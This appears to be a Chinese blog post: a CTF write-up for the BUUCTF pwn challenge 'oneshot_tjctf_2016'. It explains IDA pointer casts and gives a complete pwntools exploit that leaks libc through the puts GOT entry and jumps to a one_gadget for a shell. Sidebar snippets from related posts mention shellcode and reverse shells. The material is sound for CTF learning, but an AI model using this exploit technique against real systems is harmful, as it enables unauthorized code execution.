BUUCTF之“oneshot_tjctf_2016”

IDA Pro *(_QWORD *)和*(_BYTE *)表达式解释 这种类型转换和解引用的组合在反汇编和逆向工程中非常常见,因为原始源代码中的数据类型和变量名在编译过程中通常会丢失,而分析人员需要依赖工具来理解和解释机器代码。作为一个整体,通常用于将一个地址(或其他整数)转换为一个指向64位无符号整数的指针,并获取该地址上的值。时,这通常意味着某个地址或值被转换为一个指向字节的指针,并且随后会解引用该指针以获取该地址上的字节值。允许你在不知道原始数据类型的情况下,以特定的方式(这里是64位无符号整数)解释和访问内存中的数据。类似,但这里涉及的是1字节(8位)的数据。 阅读详情

咳咳,这题就是对于onegadget的简单复习:泄露libc库某个函数,然后计算基地址,结合onegadget计算execve地址。

IDA中需要注意的:

*(_QWORD *)v4

这里着重说下“*(_QWORD )”,我们将之拆开来说:
(_QWORD
)意思是将八个字节的后者(v4)强制转换为8个字节的地址,而后再其前边加上星号就是提取指针“将指针指向的8个空间格子取出”,程序中的意思是,再将其以16进制形式打印出来。

WP:

from pwn import*
p=remote('node4.buuoj.cn',29008)
libc=ELF('./libc-2.23.so64')
elf=ELF('./shot')

puts_got=elf.got['puts']
p.sendlineafter("Read location?",str(puts_got))
p.recvuntil("0x")
addr_=int(p.recvuntil('\n'),16)

base=addr_-libc.symbols['puts']
onegad=base+0x45216

p.sendlineafter("Jump location?",str(onegad))
p.interactive()

WP中需要注意的:
一个是int的使用,
一个是str()的形式将"put_addr"和“onegad”输入上去:这是因为我们利用“send__的形式与远端进行交互,而send_的要求就是要发送字符,二者的都是地址,是数,所以我们的利用str()将其转成字符形式”

confused_flxg 目录 实验步骤 1.测试程序功能 2.使用IDA进行分析 3.查找flag位置 4.使用python解密 实验步骤 本题为Hackergame 2018的一道题目 1.测试程序功能 解压压缩包,执行程序,如下: 按照输入要求输入程序,得到以下结果 使用python解码可知,此flag为错误的 使用peinfo查看文件相关信息 可知文件并未加壳 2.使用IDA进行分析 使用Shift+F12打开字符串表 经过大量经验可知重点关注\n,... 阅读详情

相关推荐

RealSense D455的标定并运行VINS-FUSION

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar

qq_40186909的博客 2万+

学习笔记lalala

orw:发现写shellcode的新大陆 from pwn import * p = remote('chall.pwnable.tw',10001) #p = process('./orw') context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] if args.G: gdb.attach(p) shellcode = "" shellcode += shellcraft.i3

weixin_56780239的博客 423

win11一直弹出用户账户控制怎么解决

用户帐户控制简称UAC,是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。近期有部分Win11用户想要关闭UAC,但是不知道应该如何操作,对此下面我就教给大家操作方法,大家可以去尝试看看。...

xitongzhijia_abc的博客 5万+

在栈和堆分配内存

在栈和堆分配内存LUNICODE_STRING Src ; LUNICODE_STRING *Dst1 = new LUNICODE_STRING(); LUNICODE_STRING Dst2; RtlInitLUnicodeString(&Dst2, L""); RtlInitLUnicodeString(&Src, L"microsoft-windows-ie-windows-internet

心想事成 533

百度API实现人流量数量检测(动态)

百度的这个API还挺好用的,对与不追求高精度的人来说非常适用,结合他官方给的文档,极易上手。 需要做的就是通过API Key和Secret Key获取的access_token。 然后稍微修改下代码就行,但是他给的代码并没有直接从摄像头获取视频,而是读取一个文件夹,那么就需要自己先对摄像头的输出视频进行处理。 识别结果如下,"person_num"是当前画面的人数,in是累计进入的人数,out是累计走出去的人数。 他这个有个缺点就是返回值里边并没有实时返回in和out的值,而是都是0,但是这个图片上有,图片

qq_42479987的博客 3380

手把手教你用OpenCV+Python实现HALCON级模板匹配(附工业案例代码)

本文详细介绍了如何利用开源计算机视觉库OpenCV和Python,构建媲美HALCON商业软件的工业级模板匹配解决方案。通过分析工业检测的核心挑战,文章提供了从模板预处理、多策略融合匹配到应对尺度与旋转的完整代码实现,并附有连接器引脚检测的实战案例,为工业自动化场景下的高精度视觉检测提供了低成本、高可控性的技术路径。

e3f4g5的博客 284

oneshot_tjctf_2016

根据输入的地方跳转,跳转到onegadget,直接getshell。就是你输入一个地址,然后将你输入的地址转为8个字节的地址所指向的地方打印出来。这里泄露libc基地址。

qq_62887641的博客 156

Unity 升级 xLua 版本,编译不同平台链接库

Unity 升级 xLua 详解

LymanCao的专栏 1801

[BUUCTF]-PWN:oneshot_tjctf_2016解析(字符串输入,onegadget)

查看保护查看ida这道题的大致思路就是泄露libc地址,然后用onegadget来getshell但是要注意,这里要我们输入的数据类型是long int,所以不能用我们常用的p64函数了。

2301_79326813的博客 429

手把手教你用WF100DPZ数字压力传感器搞定I2C/SPI通信(附完整寄存器解析)

本文详细解析了WF100DPZ数字压力传感器的I2C与SPI通信驱动方法,涵盖硬件连接、寄存器配置、数据读取流程及常见问题排查。该传感器内置24位ADC和出厂校准,通过实战代码演示了如何稳定获取高精度压力与温度数据,帮助开发者快速集成到嵌入式项目中。

weixin_28285943的博客 377

AWS SQS跨账户访问失败排查指南

在使用AWS SQS(Simple Queue Service)时,跨账户访问是常见的业务场景。例如,账户A的应用程序向队列发送消息,账户B的消费者从队列拉取消息。尽管AWS官方文档明确支持此类配置,但在实际应用中,由于权限模型的复杂性,开发者和运维人员常会遇到“策略已配置但无法接收消息”的问题。通过本文的逐步排查指南,您不仅可以解决当前问题,还能深入理解AWS跨账户访问的权限模型。接收方账户的用户或角色必须同时附加IAM策略,显式授权操作目标队列。尽管策略看似允许接收方操作,实际测试中却返回空消息或。

探索云原生与智能化驱动下的安全运维新范式。关注DevSecOps、可观测性、AIOps等前沿领域,与您共赴技术前沿。 458

[BUUCTF]PWN——oneshot_tjctf_2016(one_gadget)

oneshot_tjctf_2016 附件 步骤 例行检查,64位程序,开启了nx 本地试运行一下看看大概的情况 64位ida载入

mcmuyanga的博客 1053

Challenge 6 - OSCP C

开放了161端口,直接snmpbulkwalk扫描得到账号密码试了那几个web端口,发现可以登录8083的vesta,但是需要用户名大写Jack接着登录之后里面可以创建计划任务,直接弄个反弹shell,一分钟回弹。得到shell后,运行linpeas.sh提供了几个可能的漏洞,挨个试一下。

羽的博客 4139

buuctf:护网杯_2018_gettingstart、oneshot_tjctf_2016

文章链接:欢迎访问~

Yilanchia的博客 335

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

BUUOJ PWN 101-120

101、gyctf_2020_force 102、oneshot_tjctf_2016 103、gyctf_2020_some_thing_interesting 104、ciscn_2019_en_3 105、cmcc_pwnme1 106、x_ctf_b0verfl0w 107、zctf2016_note2 108、gyctf_2020_signin 109、suctf_2018_basic pwn 110、[BJDCT...

2h4ox1n9 499

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

[BMZCTF-pwn] 25-pwn3

第三题的难度就突然上来了。程序先是个菜单,有好向项都没用;smsg先调用clear_string然后问是否发送,输入Y就退出循环 int smsg() { char v1; // [rsp+7h] [rbp-59h] BYREF void *buf; // [rsp+8h] [rbp-58h] BYREF char v3; // [rsp+10h] [rbp-50h] BYREF int v4; // [rsp+5Ch] [rbp-4h] v4 = 0; v1 = 78;

weixin_52640415的博客 280

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

【iOS逆向与安全】使用ollvm混淆你的源码_

简单的入门文章,希望能帮助到你。最后给大家准备了一份大礼包!

程序员阿飘 的博客 1459

BUUCTF Reverse解题记录(三)

第九题:不一样的flag 这道题说实话我是看了题解才恍然大悟的。 1、2、3、4分别代表往上下左右四个方向走,由下语句: if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 49 ) exit(1); if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == 35 ) { puts("\nok, the order you enter is the flag!"); exit(0);

欢迎光临失去理智(sxhthreo)的博客~ 5095

bit结构体好例子

#include <stdio.h> struct bit1 { unsigned a:20; unsigned b:6; unsigned c:2; }test_bit1; struct bit2 { unsigned d:20; unsigned e:6; unsigned f:20; }test_bit2; union UN { unsigned int u; struct { unsigned char a.

wangzhicheng2013的专栏 525

buuctf 强制转换无符号数溢出 任意地址读、跳转 _printf_chk free_hook jmpesp scanf输入过长触发malloc

文章目录zctf2016_note2 zctf2016_note2 本题的漏洞在这里 有符号数和无符号数进行了比较,转换为无符号数, 我们把size设为0,那-1就永远大于i,就可以溢出了 本题可以改got表,heap_ptr的地址也可以找到,那就unlink 改成这样就行,利用chunk1的溢出 然后改atoi为system, 输入sh就行了 exp: from pwn import * from LibcSearcher import * local_file = './note2' loca

carol2358的博客 1360

buuoj Pwn writeup 101-105

101 inndy_echo 保护 就格式化字符串漏洞。 102 cmcc_pwnme1 保护 103 oneshot_tjctf_2016 保护 RELRO一点没开的…… 104 picoctf_2018_leak_me 保护 105 x_ctf_b0verfl0w 保护

yongbaoii的博客 350

CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。 教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有...

dfdhxb995397的博客 473

pwn入门-buu第四页题解(32道)(更新完毕,下一章见)

比如我们申请一个0x18大小的chunk,那么top chunk_addr就会增加0x20,然后由于这里的size已经被改成了0xfffffffffff,所以我们可以通过计算target addr与top chunk_addr的距离,从而实现任意地址写。ok,程序逻辑挺简单,漏洞也很明显,这里首先让我们输入一个长整型数据,然后将它进行取值操作,再打印出来,然后再让我们输入一个长整型的数据,并执行 它,很容易可以看出来就是打one_gadget,注意一下输入的格式就好了,题目还是挺简单的。

2303_79366759的博客 1015

bit,位,比特,比特位,byte联系与区别

bit就是位,也叫比特位,是计算机中最小的单位 byte是字节也就是B 1byte = 1B 1byte = 2bit

学习笔记。 1万+

获得清单文件的内置属性

获得清单文件的内置属性         /************************************************************************/ /* 获得清单文件的内置属性 第一个参数为文件名 第二个参数为属性序号,从 1 开始,到 32,已知的有下面的一些常用值: 1   assemblyIdentity name 2  

心想事成 428
上一篇: BUUCYF之“wdb2018_guess”
下一篇: BUUCTF之“starctf_2019_babyshell”
Hvf0x
博客等级 码龄7年 10粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值